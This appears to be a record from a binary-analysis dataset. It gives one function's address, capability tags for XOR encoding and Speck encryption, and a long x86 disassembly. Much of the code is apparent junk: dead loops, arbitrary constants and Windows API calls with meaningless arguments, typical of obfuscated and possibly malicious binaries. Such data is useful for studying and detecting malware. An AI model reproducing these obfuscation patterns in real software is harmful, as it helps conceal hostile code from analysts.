Function at 0x1003b383
Capabilities:
Encode data using xor
Encrypt data using speck

Disassembly:
mov eax, 0x1005c858
call fcn.1005b550
sub esp, 0x420
mov dword [ebp - 0x20], 3
xor ecx, ecx
mov dword [ebp - 0x34], 0x1647
inc ecx
push ebx
mov dword [ebp - 0x40], 0xd35da2
mov dword [ebp - 0x38], 0xdc705be7
push esi
mov dword [ebp - 0x30], ecx
push edi
or edi, 0xffffffff
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x30], edi
xor ebx, ebx
mov dword [ebp - 0x30], 0x429adbd3
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x30], 0xfffffff8
mov dword [ebp - 0x18], ebx
jmp 0x1003b3e7
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x5c], 0x94f3
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1003b3d9
mov dword [ebp - 0x18], ebx
jmp 0x1003b402
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x284], 0xb460d54b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1003b3f1
mov dword [ebp - 0x2c], 0x1e45
cmp dword [ebp - 0x2c], 0x2217
jle 0x1003b4b4
push ebx
push ebx
push 0xb57
push 0x1e30
push ebx
call dword [sym.imp.USER32.dll_InsertMenuW]
mov edi, ebx
xor esi, esi
mov dword [ebp - 0x3c], edi
inc esi
mov eax, ebx
mov dword [ebp - 0x40], ebx
mov edx, edi
mov ecx, eax
shl edx, cl
mov edi, ebx
mov dword [ebp - 0x28], edx
mov eax, edx
lea ecx, [ebp - 0x404]
xor eax, edi
cdq
push edx
push eax
call fcn.10001af4
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003b462
mov eax, dword [eax]
push eax
call fcn.1004677c
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x404]
call fcn.1000f813
mov edx, dword [ebp - 0x28]
inc edi
cmp edi, 0x350f
jl 0x1003b446
mov eax, dword [ebp - 0x40]
mov edi, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x40], eax
cmp eax, 0x583d
jl 0x1003b43b
inc edi
mov dword [ebp - 0x3c], edi
cmp edi, 0x48c1
jl 0x1003b436
push ebx
push 0x2601
push 0x2452
push ebx
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
or edi, 0xffffffff
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x2c], 0x1b61
jge 0x1003b4ce
push str.qbxgcx_twfb_jwo_szaxb_hobi_jtws_utq_asvraxeis_ttrirplyu_yrjqz_zqvvefruu
call fcn.1004677c
pop ecx
push 0xfffffffffffffffd
mov dword [ebp - 4], edi
mov dword [ebp - 0x20], ebx
pop esi
jmp 0x1003b629
mov dword [ebp - 0x18], 0xc23afc37
mov dword [ebp - 0x24], ebx
jmp 0x1003b4f9
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x374], 0xda314325
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x1003b4e8
mov dword [ebp - 0x18], ebx
jmp 0x1003b61d
mov dword [ebp - 0x1c], 0x416db6d0
xor edx, edx
mov dword [ebp - 0x24], 0xb79f6a71
inc edx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x1d0], 0xfffffff8
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], ebx
jl 0x1003b604
mov dword [ebp - 0x40], 6
inc dword [ebp - 0x34]
je 0x1003b5c9
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x5c]
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x5c]
test eax, eax
sets cl
cmp dword [ebp - 0x40], ecx
jl 0x1003b568
mov eax, edx
cmp dword [ebp - 0x1c], ebx
jne 0x1003b56a
mov eax, ebx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x5c]
jl 0x1003b57c
cmp dword [ebp - 0x18], ebx
jne 0x1003b57c
mov edx, ebx
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x18]
mov edx, 0x589d3895
setl cl
sub edx, ecx
add edx, dword [ebp + eax*4 - 0x5c]
mov eax, dword [ebp - 0x18]
cmp edx, dword [ebp + eax*4 - 0x5c]
je 0x1003b5ab
cmp dword [ebp - 0x5c], ebx
jne 0x1003b5ab
cmp dword [ebp - 0x24], ebx
jne 0x1003b5ab
mov ecx, ebx
jmp 0x1003b5ae
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x5c]
sub ecx, eax
sub ecx, 0xfffffff7
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, dword [ebp - 0x24]
jl 0x1003b5c9
xor eax, eax
inc eax
jmp 0x1003b5cb
mov eax, ebx
cmp eax, 1
mov eax, dword [ebp - 0x20]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
xor edx, edx
mov dword [ebp - 0x38], ecx
inc edx
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], edx
jge 0x1003b5fb
push 0xfffffffffffffff9
pop ecx
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x5c], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edx
jl 0x1003b5ec
dec dword [ebp - 0x1c]
jns 0x1003b534
push edx
lea eax, [ebp - 0x1d0]
mov ecx, 0x451e
push ebx
push eax
call fcn.10038ad7
add esp, 0xc
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x1003b507
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
je 0x1003b4dc
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x20], ebx
jmp 0x1003b675
mov dword [ebp - 0x1c], 0x29bf39
mov dword [ebp - 0x1c], ebx
jmp 0x1003b653
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x334], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1003b646
mov dword [ebp - 0x1c], ebx
jmp 0x1003b66a
push ecx
mov dl, al
call fcn.100398ab
inc dword [ebp - 0x1c]
pop ecx
xor eax, eax
inc eax
cmp dword [ebp - 0x1c], eax
jle 0x1003b65e
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffffe
je 0x1003b63a
push 0x566f
lea eax, [ebp - 0x7a]
mov byte [ebp - 0x7a], bl
push eax
xor eax, eax
inc eax
push eax
mov dl, al
mov cl, al
call fcn.1003842f
mov eax, dword [0x100da000]
add esp, 0xc
test al, 1
jne 0x1003b6d3
or eax, 1
mov dword [0x100da000], eax
mov dword [ebp - 4], 2
mov dword [0x100da008], ebx
mov dword [0x100da00c], ebx
call fcn.1003e665
push 0x1005cb3f
mov dword [0x100da008], eax
call fcn.1004655b
pop ecx
mov dword [ebp - 4], edi
cmp byte [0x100d8ad3], 0
je 0x1003b82f
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x58], ebx
cmp dword [ebp - 0x58], 0x12
jle 0x1003b81e
mov esi, 0x25b0e446
mov dword [ebp - 0x190], esi
mov dword [ebp - 0x18c], esi
mov dword [ebp - 0x188], esi
mov dword [ebp - 0x184], esi
mov dword [ebp - 0x1c], ebx
jmp 0x1003b723
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x160], 1
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x1003b712
cmp dword [ebp - 0x58], ebx
jne 0x1003b81e
mov dword [ebp - 0x160], 3
cmp dword [ebp - 0x160], ebx
jl 0x1003b811
mov dword [ebp - 0x34], ebx
xor ebx, ebx
mov dword [ebp - 0x234], 0x3b4709ba
mov dword [ebp - 0x230], 0x3b4709ba
mov dword [ebp - 0x22c], 0x3b4709ba
mov dword [ebp - 0x228], 0x3b4709ba
mov dword [ebp - 0x38], edi
mov eax, dword [ebp - 0x58]
add eax, 0x6000ed13
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x22c]
mov eax, dword [ebp - 0x160]
push 2
mov ecx, dword [ebp + eax*4 - 0x190]
mov eax, dword [ebp - 0x160]
mov eax, dword [ebp + eax*4 - 0x190]
cmp ecx, eax
mov eax, dword [ebp - 0x190]
setge bl
xor edx, edx
sub ebx, eax
mov eax, dword [ebp - 0x160]
pop ecx
push 0
mov eax, dword [ebp + eax*4 - 0x190]
sub ebx, eax
mov eax, dword [ebp - 0x58]
sub ecx, eax
mov eax, dword [ebp - 0x160]
cmp ebx, ecx
pop ebx
setne dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x190]
cmp edx, eax
mov eax, dword [ebp - 0x230]
setne cl
xor edx, edx
test ecx, ecx
setle dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x38], ecx
dec dword [ebp - 0x160]
jns 0x1003b748
inc dword [ebp - 0x58]
cmp dword [ebp - 0x58], 0x12
jg 0x1003b6f5
lea eax, [ebp - 0x58]
xor dl, dl
push eax
push ecx
call fcn.10039ac2
jmp 0x1003e21a
mov dword [ebp - 0x20], 0x8ec0ae97
mov dword [ebp - 0x30], 0x6cce57bf
mov dword [ebp - 0x30], 0xaa0d7227
mov dword [ebp - 0x30], 0xfc9a57b5
mov dword [ebp - 0x1f0], 0xe885
mov dword [ebp - 0x1c], ebx
jmp 0x1003b86b
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x314], 0x5047c4d1
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1003b85a
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 0xffffffee
jne 0x1003b914
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], 0xeec54165
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x19c], 0xfe44
mov dword [ebp - 0x1c], ebx
jmp 0x1003b8b5
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x3d4], 0xea53061e
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1003b8a4
lea eax, [ebp - 0x1f0]
push eax
push ebx
call fcn.1003a519
mov dword [esp], 0x6270
lea edx, [ebp - 0x19c]
push 0x3a58
push 0x6133
push ecx
push 0x21ee
xor esi, esi
mov ecx, 0x3094
inc esi
push esi
push 0x3579
push 0x7142
push 0x117a
call fcn.10039951
add esp, 0x28
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffee
je 0x1003b87e
jmp 0x1003b917
xor esi, esi
inc esi
push 0x1e63
push esi
push ebx
push 0x100d8ad3
push ebx
mov edx, 0x624
mov ecx, 0x5f8a
call fcn.1003ae76
mov dword [ebp - 0x194], 0x10072af0
add esp, 0x14
mov dword [ebp - 0xdc], ebx
mov dword [ebp - 0x18], 0x7ca0029b
mov dword [ebp - 0x2c], 7
mov dword [ebp - 0x34], ebx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x2c], ebx
ja 0x1003b98f
cmp dword [ebp - 0x34], ebx
jne 0x1003b98f
xor edx, edx
mov esi, ebx
inc edx
jmp 0x1003b994
xor edx, edx
inc edx
mov esi, edx
mov eax, dword [ebp - 0x34]
xor ecx, ecx
cmp esi, eax
mov eax, dword [ebp - 0x18]
setne cl
sub eax, ecx
sub eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x18]
je 0x1003b9c4
lea eax, [ebp - 0x1cc]
mov dword [ebp - 0x1cc], 0xdc10
push eax
call fcn.100399f7
pop ecx
jmp 0x1003b9d7
push ecx
lea eax, [ebp - 0x71]
mov byte [ebp - 0x71], bl
push eax
push ecx
mov cl, dl
call fcn.10039a22
add esp, 0xc
push ecx
push 0x6418
xor dl, dl
call fcn.10039907
pop ecx
pop ecx
push 0xfffffffffffffffb
mov dword [ebp - 0xd0], 0xc
pop esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x1c], ebx
jmp 0x1003ba0c
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x2fc], 0xf9b3
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1003b9fb
xor edx, edx
inc edx
mov dword [ebp - 0x1c], edx
cmp dword [ebp - 0x1c], ebx
jl 0x1003ba38
push ebx
mov byte [ebp - 0x6d], bl
lea ecx, [ebp - 0x6d]
push 0x675b
call fcn.1003ae0e
dec dword [ebp - 0x1c]
pop ecx
pop ecx
jns 0x1003ba1d
xor edx, edx
inc edx
mov ecx, dword [ebp - 0xd0]
mov al, byte [0x10072af0]
cmp al, byte [ecx + 0x10072af0]
je 0x1003ba5f
inc ecx
mov dword [ebp - 0xd0], ecx
cmp ecx, 0xe0
jl 0x1003b9f3
jmp 0x1003bc2e
lea eax, [ebp - 0xd0]
push eax
push edx
push ebx
push 0x35f4
push edx
mov edx, 0x17d6
lea ecx, [ebp - 0xdc]
call fcn.1003ae76
add esp, 0x14
xor edx, edx
inc edx
mov dword [ebp - 0x128], edx
mov dword [ebp - 0x28], 0xfffffff7
mov dword [ebp - 0x34], 0xa2e712c5
mov dword [ebp - 0x30], 0x60d743cc
mov dword [ebp - 0x30], 0x47d17017
mov dword [ebp - 0x30], 0x8d232121
mov dword [ebp - 0x30], 0xfa90ef87
mov dword [ebp - 0x30], 0xe84c
mov dword [ebp - 0x3c], 0xfffffffc
mov dword [ebp - 0x40], 0xe87198b9
mov dword [ebp - 0x2c], 9
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x38], 0xfff6
push 3
mov dword [ebp - 0x34], 9
mov dword [ebp - 0x18], ebx
pop ecx
jmp 0x1003bafd
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x24c], 0xd6f2
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1003baec
mov dword [ebp - 0x18], ebx
jmp 0x1003bb18
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2b0], 0x158d32ff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1003bb07
mov dword [ebp - 0x18], ebx
jmp 0x1003bb34
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x258], 0xfffffffd
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1003bb23
mov dword [ebp - 0x18], ebx
jmp 0x1003bb4f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x350], 0x6ef6f0c3
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1003bb3e
mov dword [ebp - 0x18], ebx
jmp 0x1003bb66
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xd8], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1003bb59
mov dword [ebp - 0x18], ebx
jmp 0x1003bb7d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x31c], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1003bb70
lea eax, [ebp - 0x128]
mov ecx, 0x1e8c
push ebx
push eax
call fcn.100386e3
mov eax, dword [ebp - 0x24c]
add esp, 8
mov dword [ebp - 0x2a4], eax
test eax, eax
je 0x1003bc13
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
dec dword [ebp - 0xd8]
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x248], ebx
jne 0x1003bbcc
mov eax, ebx
cmp dword [ebp - 0x38], ebx
je 0x1003bbce
mov eax, edx
neg eax
cmp dword [ebp - 0x2b0], eax
jl 0x1003bbdb
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x244]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x254], 0xfffe
jb 0x1003bbfd
mov esi, ebx
cmp dword [ebp - 0x2a4], ebx
je 0x1003bbff
mov esi, edx
mov eax, dword [ebp - 0x40]
xor ecx, ecx
cmp esi, eax
mov esi, edx
setle cl
cmp ecx, dword [ebp - 0x250]
jle 0x1003bc15
mov esi, ebx
mov eax, dword [ebp - 0x128]
xor ecx, ecx
cmp esi, eax
mov eax, dword [ebp - 0x258]
sete cl
imul eax, ecx
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x1fc]
mov dword [ebp - 0x1b4], 4
push eax
push edx
mov dword [ebp - 0x1fc], 0x1a049fe3
lea edx, [ebp - 0x1dc]
mov dword [ebp - 0x1dc], 0x3d42374b
call fcn.10039a56
pop ecx
pop ecx
push 0x1ff6
push ecx
mov dl, 1
mov dword [ebp - 0x120], 0x10072bd0
call fcn.10039ac2
mov al, byte [0x10072bd0]
mov byte [ebp - 0x45], al
mov dword [ebp - 0x38], 0xf8f9ed02
pop ecx
mov dword [ebp - 0x34], 0xc930f888
pop ecx
mov dword [ebp - 0x30], 0xfffffffc
xor ecx, ecx
mov dword [ebp - 0x30], ebx
inc ecx
mov dword [ebp - 0x18], ebx
jmp 0x1003bcb0
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x60], 0x841b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1003bca2
mov dword [ebp - 0x18], ebx
jmp 0x1003bcc8
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x44], 0xa32b1cec
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1003bcba
mov dword [ebp - 0x18], ebx
jmp 0x1003bce3
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x110], 0x4d4
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1003bcd2
mov dword [ebp - 0x44], ebx
jmp 0x1003bdc5
mov dword [ebp - 0x2c], 0xadd63529
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x1c], ebx
jmp 0x1003bd13
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x2e4], 0xb2bc8f96
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1003bd02
mov eax, dword [ebp - 0x44]
cmp dword [ebp + eax*4 - 0x60], ebx
jne 0x1003bd25
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
xor ebx, ebx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp + eax*4 - 0x60]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0x60]
cmp ecx, eax
mov eax, dword [ebp - 0x44]
setl bl
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0x60]
mov eax, dword [ebp - 0x44]
add ecx, eax
mov eax, dword [ebp - 0x44]
cmp ecx, eax
setle dl
xor ecx, ecx
neg edx
cmp edx, 0x6ff6
setg cl
xor eax, eax
cmp ebx, ecx
setl al
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x44]
mov edx, dword [ebp + eax*4 - 0x60]
cmp dword [ebp - 0x60], 0x881826fb
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, edx
setle cl
sub ecx, 0xde81
mov dword [ebp - 0x34], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0x60]
mov eax, dword [ebp - 0x44]
mov edx, dword [ebp + eax*4 - 0x60]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0x60]
cmp edx, eax
setg cl
mov dword [ebp - 0x38], ecx
dec dword [ebp - 0x110]
inc dword [ebp - 0x44]
xor ebx, ebx
cmp dword [ebp - 0x44], ebx
jle 0x1003bcf0
mov dl, byte [0x10072af0]
mov cl, byte [0x10072bd0]
call fcn.1003e690
mov byte [0x10072bd0], al
xor ecx, ecx
mov eax, 0xdada
inc ecx
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x2c], 0xfffffff6
mov dword [ebp - 0x198], 0x8b24cec8
mov dword [ebp - 0x30], 0x6a4358b9
mov dword [ebp - 0x20], 8
mov dword [ebp - 0x34], 0x48d
mov dword [ebp - 0x30], 0xfff6
mov dword [ebp - 0x1c], ebx
jmp 0x1003be4a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x9c], 0x710dd013
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1003be39
cmp dword [ebp - 0xbc], ebx
jne 0x1003be65
cmp dword [ebp - 0xbc], 0xc10977a1
mov edx, ebx
je 0x1003be67
mov edx, ecx
mov eax, dword [ebp - 0xb0]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0xbc]
sete cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0xb0]
setge dl
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0xb0]
cmp edx, 0x3c67
setle cl
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0xb0]
mov esi, dword [ebp - 0xb0]
cmp ecx, eax
setg dl
neg esi
sbb esi, esi
inc esi
sub esi, edx
neg esi
sbb esi, esi
xor ecx, ecx
inc esi
mov dword [ebp - 0x9c], esi
mov eax, dword [ebp - 0xb0]
sub esi, eax
mov eax, dword [ebp - 0xb0]
cmp eax, esi
setg cl
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0xb8], ebx
je 0x1003c153
mov dword [ebp - 0x24], 0x1f38
mov dword [ebp - 0x18], 0x6c93846f
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x3c], ebx
dec dword [ebp - 0x24]
jne 0x1003bf0d
cmp dword [ebp - 0x9c], ebx
jne 0x1003bf0d
xor edx, edx
mov esi, ebx
inc edx
jmp 0x1003bf12
xor edx, edx
inc edx
mov esi, edx
mov eax, dword [ebp - 0x18]
mov ecx, 0x1200be60
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
sub ecx, eax
jne 0x1003bf38
cmp dword [ebp - 0xb0], ebx
jne 0x1003bf38
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], 2
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0xb0]
add eax, 0x99ba
jne 0x1003bf5a
mov ecx, ebx
cmp dword [ebp - 0x9c], ebx
je 0x1003bf5c
mov ecx, edx
mov eax, dword [ebp - 0xb0]
imul eax, ecx
xor ecx, ecx
cmp esi, eax
sete cl
xor eax, eax
cmp ecx, 0x7ff5
setne al
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x24], ebx
jmp 0x1003c147
mov dword [ebp - 0x1c], 0xfffffffc
mov dword [ebp - 0x94], 0xc0ed6d2
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x18], ebx
jmp 0x1003bfac
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2b4], 0xfffffffb
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1003bf9b
mov dword [ebp - 0x18], ebx
jmp 0x1003bfc7
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2c4], 0x4a51e29a
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1003bfb6
dec dword [ebp - 0x1c]
jne 0x1003bfd9
mov edi, ebx
cmp dword [ebp - 0x1c], ebx
je 0x1003bfdb
mov edi, edx
mov dword [ebp - 0x18], 0xfffffffa
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x94]
dec edx
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
mov eax, 0xfff9
setg cl
cmp eax, ecx
sbb eax, eax
xor esi, esi
neg eax
inc esi
cmp esi, eax
mov eax, dword [ebp - 0x2c]
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
mov dl, 1
setle cl
xor eax, eax
cmp edi, ecx
push ecx
setne al
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x94]
push eax
call fcn.10039ed7
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x3c], eax
pop ecx
pop ecx
cmp dword [ebp - 0x3c], ebx
je 0x1003c074
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x2c]
neg eax
sbb eax, eax
xor edx, edx
neg eax
add ecx, eax
mov eax, dword [ebp - 0x40]
cmp ecx, eax
setl dl
imul edx, dword [ebp - 0x3c]
test edx, edx
je 0x1003c074
xor eax, eax
inc eax
jmp 0x1003c076
mov eax, ebx
xor ecx, ecx
cmp eax, 0xfc02
setne cl
xor eax, eax
test ecx, ecx
setns al
xor edx, edx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x2c]
sub ecx, eax
mov eax, dword [ebp - 0xb0]
cmp ecx, 0xf6c633f4
setne dl
xor ecx, ecx
cmp edx, eax
setg cl
inc dword [ebp - 0x2b8]
mov esi, dword [ebp - 0x2b8]
xor edx, edx
mov eax, dword [ebp - 0x24]
cmp ecx, 0x3f29
setge dl
xor ecx, ecx
cmp edx, eax
setle cl
or eax, 0xffffffff
sub eax, ecx
xor edx, edx
sub eax, dword [ebp - 0x28]
mov dword [ebp - 0x94], eax
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x94]
cmp eax, ecx
setle dl
xor eax, eax
cmp esi, edx
setl al
xor ecx, ecx
cmp eax, 0x94fb
mov eax, 0x9ba6ce2c
setg cl
sub ecx, 0x33e7
cmp eax, ecx
mov eax, dword [ebp - 0x28]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x9c]
jle 0x1003c131
cmp dword [ebp - 0x198], ebx
je 0x1003c131
xor edx, edx
inc edx
mov ecx, edx
jmp 0x1003c136
xor edx, edx
mov ecx, ebx
inc edx
xor eax, eax
cmp ecx, 0x5e52
setl al
mov dword [ebp - 0x1c], eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jle 0x1003bf82
jmp 0x1003c1b7
mov dword [ebp - 0x28], 0xd54efe8f
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 3
jg 0x1003c1b7
xor edx, edx
inc edx
mov dword [ebp - 0x280], edx
mov dword [ebp - 0x27c], edx
mov dword [ebp - 0x278], edx
mov dword [ebp - 0x274], edx
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0xbc], ebx
jne 0x1003c1b7
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov dword [ebp + eax*4 - 0xbc], 0x7c9a
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
cmp eax, edx
setge cl
mov dword [ebp - 0x280], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jle 0x1003c166
xor edx, edx
inc edx
mov edi, edx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x3c], 0xcdb8
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x28], 0x7ee39f3f
mov dword [ebp - 0x1c], ebx
jmp 0x1003c1e6
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x32c], 0x5fff839e
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x1003c1d5
cmp dword [ebp - 0x2c], ebx
je 0x1003c243
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x3c], ebx
jne 0x1003c238
xor ecx, ecx
mov dword [ebp - 0x28], 0x3358
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x2c]
cmp eax, 0xffffffff
setl cl
sub ecx, dword [ebp - 0x3c]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x28], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x28]
cmp eax, 0x3f60
setge cl
xor eax, eax
cmp ecx, 0xffff
mov ecx, ebx
setne al
sub eax, dword [ebp - 0x2c]
je 0x1003c23a
mov ecx, edx
mov eax, dword [ebp - 0x3c]
sub eax, ecx
mov eax, edx
jne 0x1003c245
mov eax, ebx
mov dword [ebp - 0x32c], eax
lea ecx, [ebp - 0x6e]
push edx
mov byte [ebp - 0x6e], bl
call fcn.10039ef9
mov eax, edi
mov bl, byte [edi + 0x10072bd0]
cdq
idiv dword [ebp - 0xdc]
pop ecx
mov esi, edx
mov cl, bl
mov dl, byte [ebp - 0x45]
call fcn.1003e690
mov dl, byte [esi + 0x10072af0]
mov cl, al
call fcn.1003e690
push 0
mov byte [ebp - 0x45], bl
pop ebx
